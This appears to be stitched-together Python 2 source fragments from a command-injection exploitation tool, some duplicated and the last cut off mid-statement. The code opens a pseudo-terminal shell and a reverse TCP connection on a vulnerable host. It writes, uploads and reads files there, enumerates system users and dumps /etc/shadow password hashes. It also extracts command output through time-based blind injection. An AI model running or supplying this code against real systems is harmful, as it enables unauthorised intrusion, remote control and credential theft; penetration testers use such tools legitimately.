menu.enumeration_options(): cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if not menu.file_access_options( ) and not menu.options.os_cmd: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " file_access_again = raw_input( settings.print_question_msg( question_msg)).lower() if file_access_again in settings.CHOICE_YES: cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg( err_msg) + "\n" pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) print "" # Check if defined single cmd. if menu.options.os_cmd: if not menu.file_access_options(): print "" cb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break # if settings.ENUMERATION_DONE == False and settings.FILE_ACCESS_DONE == False: # if settings.VERBOSITY_LEVEL >= 1: # print "" question_msg = "Do you want a Pseudo-Terminal shell? [Y/n/q] > " gotshell = raw_input( settings.print_question_msg( question_msg)).lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options( cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into the 'os_shell' mode." print settings.print_warning_msg( warn_msg) + "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp( ) if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options( settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options( ) result = checks.check_reverse_tcp_options( cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = cb_injector.injection_results( response, TAG, cmd) if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has been failed!" print settings.print_critical_msg( err_msg) else: pass else: # Command execution results. response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # if need page reload if menu.options.url_reload: time.sleep(delay) response = urllib.urlopen(url) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = cb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: html_parser = HTMLParser.HTMLParser( ) shell = html_parser.unescape( shell) if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_error_msg( err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass if no_result == True: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def file_access(url, cve, check_header, filename): #------------------------------------- # Write to a file on the target host. #------------------------------------- if menu.options.file_write: file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() raise SystemExit() if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] content = "".join(str(p) for p in content).replace("'", "\"") else: warn_msg = "It seems that '" + file_to_write + "' is not a file." sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True #------------------------------- # Check the file-destination #------------------------------- if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] else: dest_to_write = menu.options.file_dest # Execute command cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" shell, payload = cmd_exec(url, cmd, cve, check_header, filename) # Check if file exists! cmd = "ls " + dest_to_write + "" # Check if defined cookie injection. shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: success_msg = "The " + shell + Style.RESET_ALL success_msg += Style.BRIGHT + " file was created successfully!" sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to write the '" warn_msg += dest_to_write + "' file." + "\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True #------------------------------------- # Upload a file on the target host. #------------------------------------- if menu.options.file_upload: file_to_upload = menu.options.file_upload # check if remote file exists. try: _urllib.request.urlopen(file_to_upload) except _urllib.error.HTTPError as warn_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, " warn_msg += "does not exist. (" + str(warn_msg) + ")\n" sys.stdout.write(settings.print_critical_msg(warn_msg)) sys.stdout.flush() raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) # Check if file exists! cmd = "ls " + dest_to_upload shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) if shell: success_msg = "The " + shell success_msg += Style.RESET_ALL + Style.BRIGHT success_msg += " file was uploaded successfully!\n" sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to write the '" + dest_to_upload + "' file.\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True #------------------------------------- # Read a file from the target host. #------------------------------------- if menu.options.file_read: file_to_read = menu.options.file_read # Execute command cmd = "cat " + settings.FILE_READ + file_to_read shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: success_msg = "The contents of file '" success_msg += file_to_read + "'" + Style.RESET_ALL + ": " sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() print(shell) output_file = open(filename, "a") success_msg = "The contents of file '" success_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file.\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True if settings.FILE_ACCESS_DONE == True: print("")
def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if settings.TARGET_OS == "win": if alter_shell: cmd = "cmd /c " + cmd if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. target_os = cb_injector.injection_results(response, TAG, cmd) target_os = "".join(str(p) for p in target_os) session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_os: target_os = "".join(str(p) for p in target_os) if settings.TARGET_OS != "win": cmd = settings.DISTRO_INFO if settings.USE_BACKTICKS: cmd = cmd.replace("echo $(", "").replace(")", "") if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. distro_name = cb_injector.injection_results(response, TAG, cmd) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: target_os = target_os + " (" + distro_name + ")" session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. target_arch = cb_injector.injection_results(response, TAG, cmd) target_arch = "".join(str(p) for p in target_arch) session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if target_arch: success_msg = "The target operating system is " + target_os + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + target_os success_msg += " and the hardware platform is " + target_arch + ".\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." print settings.print_warning_msg(warn_msg)
def enumeration(url, cve, check_header, filename): #------------------------------- # Hostname enumeration #------------------------------- if menu.options.hostname: cmd = settings.HOSTNAME shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The hostname is " + shell sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The hostname is " + shell + ".\n" output_file.write(" " + settings.SUCCESS_SIGN + success_msg) output_file.close() settings.ENUMERATION_DONE = True #------------------------------- # Retrieve system information #------------------------------- if menu.options.sys_info: cmd = settings.RECOGNISE_OS target_os, payload = cmd_exec(url, cmd, cve, check_header, filename) if target_os == "Linux": cmd = settings.RECOGNISE_HP target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) if target_arch: if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The target operating system is " + target_os + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + target_os success_msg += " and the hardware platform is " + target_arch + ".\n" output_file.write(" " + settings.SUCCESS_SIGN + success_msg) output_file.close() else: if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The target operating system is " + target_os sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + target_os + ".\n" output_file.write(" " + settings.SUCCESS_SIGN + success_msg) output_file.close() settings.ENUMERATION_DONE = True #------------------------------- # The current user enumeration #------------------------------- if menu.options.current_user: cmd = settings.CURRENT_USER cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename) if cu_account: if menu.options.is_root: cmd = settings.IS_ROOT shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The current user is " + cu_account sys.stdout.write(settings.print_success_msg(success_msg)) # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account output_file.write(" " + settings.SUCCESS_SIGN + success_msg) output_file.close() if shell: if shell != "0": sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is privileged.\n") output_file.close() else: if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The current user is " + cu_account sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account + "\n" output_file.write(" " + settings.SUCCESS_SIGN + success_msg) output_file.close() settings.ENUMERATION_DONE = True #------------------------------- # System users enumeration #------------------------------- if menu.options.users: cmd = settings.SYS_USERS sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) if settings.VERBOSITY_LEVEL >= 1: print "" info_msg = "Fetching '" + settings.PASSWD_FILE info_msg += "' to enumerate users entries... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() if len(sys_users.split(" ")) <= 1 : sys_users = sys_users.split("\n") else: sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE warn_msg += "' file is not in the appropriate format. Thus, it is expoted as a text file." print "\n" + settings.print_warning_msg(warn_msg) sys_users = " ".join(str(p) for p in sys_users).strip() print sys_users output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] success_msg += " in '" + settings.PASSWD_FILE + "'.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write("\n " + settings.SUCCESS_SIGN + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): sys_users = sys_users_list[user] sys_users = ":".join(str(p) for p in sys_users) count = count + 1 fields = sys_users.split(":") fields1 = "".join(str(p) for p in fields) # System users privileges enumeration try: if not fields[2].startswith("/"): raise ValueError() if menu.options.privileges: if int(fields[1]) == 0: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " is_privileged_nh = " is root user " elif int(fields[1]) > 0 and int(fields[1]) < 99 : is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " is_privileged_nh = " is system user " elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " is_privileged_nh = " is non-trusted user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " else : is_privileged = "" is_privileged_nh = "" else : is_privileged = "" is_privileged_nh = "" print " (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'." # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : warn_msg = "It seems that '" + settings.PASSWD_FILE warn_msg += "' file is not in the appropriate format. " warn_msg += "Thus, it is expoted as a text file." print settings.print_warning_msg(warn_msg) sys_users = " ".join(str(p) for p in sys_users.split(":")) print sys_users output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." print "\n" + settings.print_warning_msg(warn_msg) except TypeError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n") sys.stdout.flush() pass except IndexError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass settings.ENUMERATION_DONE = True #------------------------------------- # System password enumeration #------------------------------------- if menu.options.passwords: cmd = settings.SYS_PASSES sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename) if sys_passes : sys_passes = "".join(str(p) for p in sys_passes) sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split( ) if len(sys_passes) != 0 : if settings.VERBOSITY_LEVEL >= 1: print "" info_msg = "Fetching '" + settings.SHADOW_FILE info_msg += "' to enumerate users password hashes... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "Identified " + str(len(sys_passes)) success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] success_msg += " in '" + settings.SHADOW_FILE + "'.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write("\n " + settings.SUCCESS_SIGN + success_msg ) output_file.close() count = 0 for line in sys_passes: count = count + 1 try: fields = line.split(":") if fields[1] != "*" and fields[1] != "!" and fields[1] != "": print " (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1]) output_file.close() # Check for appropriate (/etc/shadow) format except IndexError: if count == 1 : warn_msg = "It seems that '" + settings.SHADOW_FILE warn_msg += "' file is not in the appropriate format. " warn_msg += "Thus, it is expoted as a text file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") print fields[0] output_file = open(filename, "a") output_file.write(" " + fields[0]) output_file.close() else: warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." print settings.print_warning_msg(warn_msg) settings.ENUMERATION_DONE = True if settings.ENUMERATION_DONE == True: print ""
settings.FILE_ACCESS_DONE = True #------------------------------------- # Read a file from the target host. #------------------------------------- if menu.options.file_read: file_to_read = menu.options.file_read # Execute command cmd = "cat " + settings.FILE_READ + file_to_read shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The contents of file '" success_msg += file_to_read + "'" + Style.RESET_ALL + ": " sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() print shell output_file = open(filename, "a") success_msg = "The contents of file '" success_msg += file_to_read + "' : " + shell + ".\n" output_file.write(" " + settings.SUCCESS_SIGN + success_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file.\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True if settings.FILE_ACCESS_DONE == True:
def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": previous_cmd = cmd if alter_shell: cmd = "\"" + cmd + "\"" else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" if menu.options.file_write or menu.options.file_upload: minlen = 0 else: minlen = 1 found_chars = False info_msg = "Retrieving the length of execution output... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() for output_length in range(int(minlen), int(maxlen)): # Execute shell commands on vulnerable host. if alter_shell: payload = tfb_payloads.cmd_execution_alter_shell( separator, cmd, output_length, OUTPUT_TEXTFILE, delay, http_request_method) else: payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, delay, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: payload = base64.b64encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: payload_msg = payload.replace("\n", "\\n") sys.stdout.write("\n" + settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: how_long = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: how_long = referer_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, delay, url_time_response) # Examine time-responses injection_check = False if (how_long >= settings.FOUND_HOW_LONG and how_long - delay >= settings.FOUND_DIFF): injection_check = True if injection_check == True: if output_length > 1: if settings.VERBOSITY_LEVEL >= 1: print "\n" else: sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() success_msg = "Retrieved " + str( output_length) + " characters." print settings.print_success_msg(success_msg) found_chars = True injection_check = False break # Proceed with the next (injection) step! if found_chars == True: num_of_chars = output_length + 1 check_start = 0 check_end = 0 check_start = time.time() if settings.TARGET_OS == "win": cmd = previous_cmd output = [] percent = "0.0" info_msg = "Grabbing the output from '" + OUTPUT_TEXTFILE info_msg += "', please wait... [ " + str(percent) + "% ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() for num_of_chars in range(1, int(num_of_chars)): if num_of_chars == 1: # Checks {A..Z},{a..z},{0..9},{Symbols} char_pool = range(65, 90) + range(96, 122) else: # Checks {a..z},{A..Z},{0..9},{Symbols} char_pool = range(96, 122) + range(65, 90) char_pool = char_pool + range(48, 57) + range(32, 48) + range( 90, 96) + range(57, 65) + range(122, 127) for ascii_char in char_pool: # Get the execution ouput, of shell execution. if alter_shell: payload = tfb_payloads.get_char_alter_shell( separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, delay, http_request_method) else: payload = tfb_payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, delay, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: payload = base64.b64encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: payload_msg = payload.replace("\n", "\\n") sys.stdout.write("\n" + settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: how_long = user_agent_injection_test( url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: how_long = referer_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test( url, vuln_parameter, payload) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, delay, url_time_response) # Examine time-responses injection_check = False if (how_long >= settings.FOUND_HOW_LONG and how_long - delay >= settings.FOUND_DIFF): injection_check = True if injection_check == True: if not settings.VERBOSITY_LEVEL >= 1: output.append(chr(ascii_char)) percent = ((num_of_chars * 100) / output_length) float_percent = "{0:.1f}".format( round( ((num_of_chars * 100) / (output_length * 1.0)), 2)) info_msg = "Grabbing the output from '" + OUTPUT_TEXTFILE info_msg += "', please wait... [ " + str( float_percent) + "% ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: output.append(chr(ascii_char)) injection_check = False break check_end = time.time() check_how_long = int(check_end - check_start) output = "".join(str(p) for p in output) else: check_start = 0 if not settings.VERBOSITY_LEVEL >= 1: sys.stdout.write("[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]") sys.stdout.flush() else: print "" check_how_long = 0 output = "" return check_how_long, output
def main(filename, url): try: # Ignore the mathematic calculation part (Detection phase). if menu.options.skip_calc: settings.SKIP_CALC = True if menu.options.enable_backticks: settings.USE_BACKTICKS = True # Target URL reload. if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True if menu.options.test_parameter and menu.options.skip_parameter: if type(menu.options.test_parameter) is bool: menu.options.test_parameter = None else: err_msg = "The options '-p' and '--skip' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." print settings.print_critical_msg(err_msg) raise SystemExit if menu.options.ignore_session: # Ignore session session_handler.ignore(url) # Check provided parameters for tests if menu.options.test_parameter or menu.options.skip_parameter: if menu.options.test_parameter != None: if menu.options.test_parameter.startswith("="): menu.options.test_parameter = menu.options.test_parameter[ 1:] settings.TEST_PARAMETER = menu.options.test_parameter.split( settings.PARAMETER_SPLITTING_REGEX) elif menu.options.skip_parameter != None: if menu.options.skip_parameter.startswith("="): menu.options.skip_parameter = menu.options.skip_parameter[ 1:] settings.TEST_PARAMETER = menu.options.skip_parameter.split( settings.PARAMETER_SPLITTING_REGEX) for i in range(0, len(settings.TEST_PARAMETER)): if "=" in settings.TEST_PARAMETER[i]: settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[ i].split("=")[0] # Check injection level, due to the provided testable parameters. if menu.options.level < 2 and menu.options.test_parameter != None: checks.check_injection_level() # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel # Check for skipping injection techniques. if menu.options.skip_tech: if menu.options.tech: err_msg = "The options '--technique' and '--skip-technique' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." print settings.print_critical_msg(err_msg) raise SystemExit settings.SKIP_TECHNIQUES = True menu.options.tech = menu.options.skip_tech # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: found_tech = False # Convert injection technique(s) to lowercase menu.options.tech = menu.options.tech.lower() # Check if used the ',' separator if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech: split_techniques_names = menu.options.tech.split( settings.PARAMETER_SPLITTING_REGEX) else: split_techniques_names = menu.options.tech.split() if split_techniques_names: for i in range(0, len(split_techniques_names)): if len(menu.options.tech) <= 4: split_first_letter = list(menu.options.tech) for j in range(0, len(split_first_letter)): if split_first_letter[ j] in settings.AVAILABLE_TECHNIQUES: found_tech = True else: found_tech = False if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \ found_tech == False: err_msg = "You specified wrong value '" + split_techniques_names[ i] err_msg += "' as injection technique. " err_msg += "The value for '" if not settings.SKIP_TECHNIQUES: err_msg += "--technique" else: err_msg += "--skip-technique" err_msg += 